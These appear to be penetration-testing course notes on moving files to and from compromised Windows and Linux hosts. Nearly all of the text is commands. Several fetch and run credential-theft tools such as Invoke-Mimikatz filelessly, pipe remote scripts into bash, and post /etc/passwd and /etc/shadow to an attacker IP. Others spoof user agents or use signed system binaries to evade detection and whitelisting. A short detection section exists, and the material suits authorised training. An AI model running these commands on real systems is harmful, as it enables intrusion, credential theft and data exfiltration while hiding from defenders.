- Windows File Transfer Methods
- Linux File Transfer Methods
- Transferring Files with Code
- Miscellaneous File Transfer Methods
- Protected File Transfers
- Catching Files over HTTP/S
- Living off The Land
- Detection
- Evading Detection
-
Download operations: (download to Windows)
-
PowerShell base64 encode & decode:
-
We can encode a file to a base64 string, copy its contents from terminal & perform the reverse operation.
-
To ensure the file is correct, we can use
md5sum
to verify the checksum.
md5sum id_rsa # md5 hash of sample ssh key # we want to transfer sample ssh key to target Windows machine cat id_rsa | base64 -w 0; echo # copy this content and paste into PowerShell terminal
[IO.File]::WriteAllBytes("C:\Users\Public\id_rsa", [Convert]::FromBase64String("<base64-encoded string>")) # decodes and writes to file Get-FileHash C:\Users\Public\id_rsa -Algorithm md5 # confirm hashes match
-
-
PowerShell web downloads:
- In any version of PowerShell, the
System.Net.WebClient
class can be used to download a file over HTTP, HTTPS or FTP - there are multiple WebClient methods.
(New-Object Net.WebClient).DownloadFile('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1','C:\Users\Public\Downloads\PowerView.ps1') # DownloadFileAsync can be used alternatively (New-Object Net.WebClient).DownloadFileAsync('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1', 'PowerViewAsync.ps1')
# fileless method # using inbuilt function to download payload and execute it IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Mimikatz.ps1') # instead of downloading script to disk # runs it directly in memory using Invoke-Expression or IEX # IEX also accepts pipeline input
# Invoke-WebRequest cmdlet can be used # aliases - iwr, curl, wget Invoke-WebRequest https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1 -OutFile PowerView.ps1 # can be piped with IEX for fileless Invoke-WebRequest https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1 | IEX # if we get an Internet Explorer error, IWR should have -UseBasicParsing flag # for SSL/TLS errors, run this command # [System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}
- In any version of PowerShell, the
-
SMB downloads:
# on attacker machine # host SMB server sudo impacket-smbserver share -smb2support /tmp/smbshare # sometimes, unauthenticated guest access is blocked on Windows # so we need to use creds sudo impacket-smbserver share -smb2support /tmp/smbshare -user test -password test
# in target Windows machine # to copy file from SMB server copy \\192.168.220.133\share\nc.exe # if we are using creds, mount SMB server & copy net use n: \\192.168.220.133\share /user:test test copy n:\nc.exe
-
FTP downloads:
# on attacker machine sudo pip3 install pyftpdlib # setup python3 ftp server sudo python3 -m pyftpdlib --port 21
# on target machine (New-Object Net.WebClient).DownloadFile('ftp://192.168.49.128/file.txt', 'C:\Users\Public\ftp-file.txt')
# if we do not have an interactive shell # we can create an FTP command file to download a file echo open 192.168.49.128 > ftpcommand.txt echo USER anonymous >> ftpcommand.txt echo binary >> ftpcommand.txt echo GET file.txt >> ftpcommand.txt echo bye >> ftpcommand.txt ftp -v -n -s:ftpcommand.txt # this downloads the file
-
-
Upload operations: (upload from Windows)
-
PowerShell base64 encode & decode:
[Convert]::ToBase64String((Get-Content -path "C:\Windows\system32\drivers\etc\hosts" -Encoding byte)) # encode file to base64 Get-FileHash "C:\Windows\system32\drivers\etc\hosts" -Algorithm MD5 | select Hash # get md5 hash
# in attacker machine echo <base64 string> | base64 -d > hosts # decode base64 string and store in file md5sum hosts # hash should match
-
PowerShell web uploads:
pip3 install uploadserver python3 -m uploadserver # webserver that hosts a file upload page
# we can make use of PSUpload.ps1 script # use IWR for upload IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/juliourena/plaintext/master/Powershell/PSUpload.ps1') Invoke-FileUpload -Uri http://192.168.49.128:8000/upload -File C:\Windows\System32\drivers\etc\hosts # uploads file
-
PowerShell base64 web upload:
$b64 = [System.convert]::ToBase64String((Get-Content -Path 'C:\Windows\System32\drivers\etc\hosts' -Encoding Byte)) # base64-encoding of file Invoke-WebRequest -Uri http://192.168.49.128:8000/ -Method POST -Body $b64 # send it on attacker machine port
nc -lvnp 8000 # catch the base64 data echo <base64 string> | base64 -d -w 0 > hosts
-
SMB uploads:
# enterprises usually do not allow SMB protocol out of internal network # so we would need to use SMB over HTTP with WebDAV # setup WebDAV in attacker machine sudo pip install wsgidav cheroot sudo wsgidav --host=0.0.0.0 --port=80 --root=/tmp --auth=anonymous
# connect to webDAV share dir \\192.168.49.128\DavWWWRoot # this folder does not actually exist on the attacker machine # it is a keyword recognized by Windows Shell to connect to root of webDAV server # we can alternatively mention an existing folder copy C:\Users\john\Desktop\SourceCode.zip \\192.168.49.129\DavWWWRoot\ copy C:\Users\john\Desktop\SourceCode.zip \\192.168.49.129\sharefolder\ # upload files
-
FTP uploads:
sudo python3 -m pyftpdlib --port 21 --write # start ftp server with --write # to allow clients to upload files
(New-Object Net.WebClient).UploadFile('ftp://192.168.49.128/ftp-hosts', 'C:\Windows\System32\drivers\etc\hosts') # upload file
# we can also create a command file for client echo open 192.168.49.128 > ftpcommand.txt echo USER anonymous >> ftpcommand.txt echo binary >> ftpcommand.txt echo PUT c:\windows\system32\drivers\etc\hosts >> ftpcommand.txt echo bye >> ftpcommand.txt ftp -v -n -s:ftpcommand.txt
-
-
Download operations: (download to Linux)
-
Base64 encoding/decoding:
# on attacker machine md5sum id_rsa cat id_rsa | base64 -w 0; echo # encode to base64
# on target machine echo -n "<base64-encoded string>" | base64 -d > id_rsa # decode file md5sum id_rsa # confirm hashes match
-
Web downloads with
wget
andcurl
:wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh -O /tmp/LinEnum.sh # download using wget curl -o /tmp/LinEnum.sh https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh # download using curl
-
Fileless attacks:
curl https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh | bash # fileless download with curl wget -qO- https://raw.githubusercontent.com/juliourena/plaintext/master/Scripts/helloworld.py | python3 # fileless download with wget
-
Download with Bash (
/dev/tcp
):exec 3<>/dev/tcp/10.10.10.32/80 # connect to target webserver echo -e "GET /LinEnum.sh HTTP/1.1\n\n">&3 # HTTP GET request cat <&3 # print the response
-
SSH downloads:
# on attacker machine sudo systemctl enable ssh sudo systemctl start ssh # setup and start ssh server netstat -lnpt # check for ssh listening port
# on target machine # use scp utility scp plaintext@192.168.49.128:/root/myroot.txt .
-
-
Upload operations (upload from Linux):
-
Web upload:
# on attacker machine sudo python3 -m pip install --user uploadserver openssl req -x509 -out server.pem -keyout server.pem -newkey rsa:2048 -nodes -sha256 -subj '/CN=server' # generate self-signed cert mkdir https && cd https sudo python3 -m uploadserver 443 --server-certificate /root/server.pem # this starts the server
# on target machine curl -X POST https://192.168.49.128/upload -F 'files=@/etc/passwd' -F 'files=@/etc/shadow' --insecure # upload multiple files # --insecure flag used for self-signed cert
-
Alternative web file transfer:
# on target machine # multiple ways to start a web server # depending on whatever language is setup on target python3 -m http.server python2.7 -m SimpleHTTPServer php -S 0.0.0.0:8000 ruby -run -ehttpd . -p8000
# download file to attacker machine wget 192.168.49.128:8000/filetotransfer.txt
-
SCP upload:
# on target machine # if outbound SSH connection is allowed scp /etc/passwd plaintext@192.168.49.128:/home/plaintext/
-
-
Python:
# python 2 python2.7 -c 'import urllib;urllib.urlretrieve ("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh", "LinEnum.sh")' # python 3 python3 -c 'import urllib.request;urllib.request.urlretrieve("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh", "LinEnum.sh")'
# to upload using python3 # on attacker machine python3 -m uploadserver # on target machine python3 -c 'import requests;requests.post("http://192.168.49.128:8000/upload",files={"files":open("/etc/passwd", "rb")})'
-
PHP:
# using file_get_contents() and file_put_contents() php -r '$file = file_get_contents("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh"); file_put_contents("LinEnum.sh",$file);' # -r is used to run one-liners # alternatively, we can use fopen() php -r 'const BUFFER = 1024; $fremote = fopen("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh", "rb"); $flocal = fopen("LinEnum.sh", "wb"); while ($buffer = fread($fremote, BUFFER)) { fwrite($flocal, $buffer); } fclose($flocal); fclose($fremote);' # we can download a file and pipe it to bash # @file works if fopen wrappers are enabled php -r '$lines = @file("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh"); foreach ($lines as $line_num => $line) { echo $line; }' | bash
-
Ruby:
# -e for one-liners ruby -e 'require "net/http"; File.write("LinEnum.sh", Net::HTTP.get(URI.parse("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh")))'
-
Perl:
perl -e 'use LWP::Simple; getstore("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh", "LinEnum.sh");'
-
JavaScript:
var WinHttpReq = new ActiveXObject("WinHttp.WinHttpRequest.5.1"); WinHttpReq.Open("GET", WScript.Arguments(0), /*async=*/false); WinHttpReq.Send(); BinStream = new ActiveXObject("ADODB.Stream"); BinStream.Type = 1; BinStream.Open(); BinStream.Write(WinHttpReq.ResponseBody); BinStream.SaveToFile(WScript.Arguments(1)); // save this script as wget.js
# to download file cscript.exe /nologo wget.js https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1 PowerView.ps1
-
VBScript:
dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP") dim bStrm: Set bStrm = createobject("Adodb.Stream") xHttp.Open "GET", WScript.Arguments.Item(0), False xHttp.Send with bStrm .type = 1 .open .write xHttp.responseBody .savetofile WScript.Arguments.Item(1), 2 end with
# download file cscript.exe /nologo wget.vbs https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1 PowerView2.ps1
-
Netcat:
# on target machine nc -l -p 8000 > SharpKatz.exe # if it is using ncat, we would need to add --recv-only # to close connection once file transfer is done # on attacker machine wget -q https://github.com/Flangvik/SharpCollection/raw/master/NetFramework_4.7_x64/SharpKatz.exe nc -q 0 192.168.49.128 8000 < SharpKatz.exe # -q 0 for closing connection once done # if using ncat, we would use --send-only flag instead
# alternative method # when firewall blocks inbound connections on target # on attacker sudo nc -l -p 443 -q 0 < SharpKatz.exe # for ncat, use --send-only instead of -q 0 # on target nc 192.168.49.128 443 > SharpKatz.exe # for ncat, use --recv-only # and if target machine does not include netcat or ncat cat < /dev/tcp/192.168.49.128/443 > SharpKatz.exe
-
PowerShell:
-
PowerShell Remoting (
WinRM
) can be used for file transfer - creates both HTTP (TCP/5985) and HTTPS (TCP/5986) listener. -
To create a session, we would need admin access, be a member of
Remote Management Users
group, or have explicit permissions for PowerShell Remoting.
# on attacker machine Test-NetConnection -ComputerName DATABASE01 -Port 5985 # confirm WinRM port 5985 is open on target # assuming we are Administrator on attacker machine # the session already has privileges over target, so no creds need $Session = New-PSSession -ComputerName DATABASE01 # create session and store results in variable # copy from attacker to target Copy-Item -Path C:\samplefile.txt -ToSession $Session -Destination C:\Users\Administrator\Desktop\ # copy from target to attacker Copy-Item -Path "C:\Users\Administrator\Desktop\DATABASE.txt" -Destination C:\ -FromSession $Session
-
-
RDP:
-
If we have RDP access, we can simply copy-and-paste files from one machine to another.
-
For Linux, we can use
xfreerdp
orrdesktop
- but sometimes if copy-and-paste does not work, we can mount files.
# mount local resource in remote RDP session # using rdesktop rdesktop 10.10.10.132 -d HTB -u administrator -p 'Password0@' -r disk:linux='/home/user/rdesktop/files' # using xfreerdp xfreerdp /v:10.10.10.132 /d:HTB /u:administrator /p:'Password0@' /drive:linux,/home/plaintext/htb/academy/filetransfer # to access the directory, we can connect to \\tsclient\ on Windows
-
-
File encryption on Windows:
-
Invoke-AESEncryption.ps1 can be used to encrypt files:
# after transferring script to target Import-Module .\Invoke-AESEncryption.ps1 # example encryption of file Invoke-AESEncryption -Mode Encrypt -Key "p4ssw0rd" -Path .\scan-results.txt # encrypted file has .aes extension
-
-
File encryption on Linux:
-
OpenSSL
can be used for encryption on Linux:openssl enc -aes256 -iter 100000 -pbkdf2 -in /etc/passwd -out passwd.enc # provide a strong password for encryption # to decrypt it openssl enc -d -aes256 -iter 100000 -pbkdf2 -in passwd.enc -out passwd # provide the same password for decryption
-
-
We can create a secure web server using
Nginx
for file upload operations:# create dir to handle uploaded files sudo mkdir -p /var/www/uploads/SecretDir # change owner to www-data sudo chown -R www-data:www-data /var/www/uploads/SecretDir # create nginx config file sudo vim /etc/nginx/sites-available/upload.conf # symlink new site to sites-enabled dir sudo ln -s /etc/nginx/sites-available/upload.conf /etc/nginx/sites-enabled/ # start nginx sudo systemctl restart nginx.service # verify errors tail -2 `/var/log/nginx/error.log` ss -lnpt | grep `80` ps -ef | grep `2811` # in this case, there is a module already listening on port 80 # remove default nginx config which binds on port 80 sudo rm /etc/nginx/sites-enabled/default # test upload file using curl curl -T /etc/passwd http://localhost:9001/SecretDir/users.txt # check tail -1 /var/www/uploads/SecretDir/users.txt
# nginx config file contents server { listen 9001; location /SecretDir/ { root /var/www/uploads; dav_methods PUT; } }
-
LOLBAS - Windows:
- Search for
/download
or/upload
in LOLBAS for binaries.
# CertReq.exe example # on attacker machine sudo nc -lvnp 80 # on target Windows machine certreq.exe -Post -config http://192.168.49.128/ c:\windos\win.ini # send file to nc session
- Search for
-
GTFObins - Linux:
- Search for
+file download
or+file upload
.
# openssl example # on attacker machine # create cert openssl req -newkey rsa:2048 -nodes -keyout key.pem -x509 -days 365 -out certificate.pem # setup server openssl s_server -quiet -accept 80 -cert certificate.pem -key key.pem < /tmp/LinEnum.sh # on target Linux machine openssl s_client -connect 10.10.10.32:80 -quiet > LinEnum.sh
- Search for
-
Other command Living off the Land tools:
# bitsadmin for file download bitsadmin /transfer wcb /priority foreground http://10.10.15.66:8000/nc.exe C:\Users\htb-student\Desktop\nc.exe # bitstransfer Import-Module bitstransfer; Start-BitsTransfer -Source "http://10.10.10.32/nc.exe" -Destination "C:\Windows\Temp\nc.exe"
# certutil for file download certutil.exe -verifyctl -split -f http://10.10.10.32/nc.exe
-
Whitelisting commands allows for quick detection & alerts on unusual command lines.
-
User agents are used in the file transfers - organizations can identify potential legit user agent strings and filter out those to focus on anomalies.
-
Malicious file transfers can be detected by their user agents/headers.
-
Changing user agent:
# list out user agents [Microsoft.PowerShell.Commands.PSUserAgent].GetProperties() | Select-Object Name,@{label="User Agent";Expression={[Microsoft.PowerShell.Commands.PSUserAgent]::$($_.Name)}} | fl # if Chrome is used internally, for example # we can use a user agent for that with Invoke-WebRequest $UserAgent = [Microsoft.PowerShell.Commands.PSUserAgent]::Chrome Invoke-WebRequest http://10.10.10.32/nc.exe -UserAgent $UserAgent -OutFile "C:\Users\Public\nc.exe"
-
LOLBAS / GTFObins:
# in case of application whitelisting # we can use living off the land binaries # GfxDownloadWrapper.exe example GfxDownloadWrapper.exe "http://10.10.10.132/mimikatz.exe" "C:\Temp\nc.exe"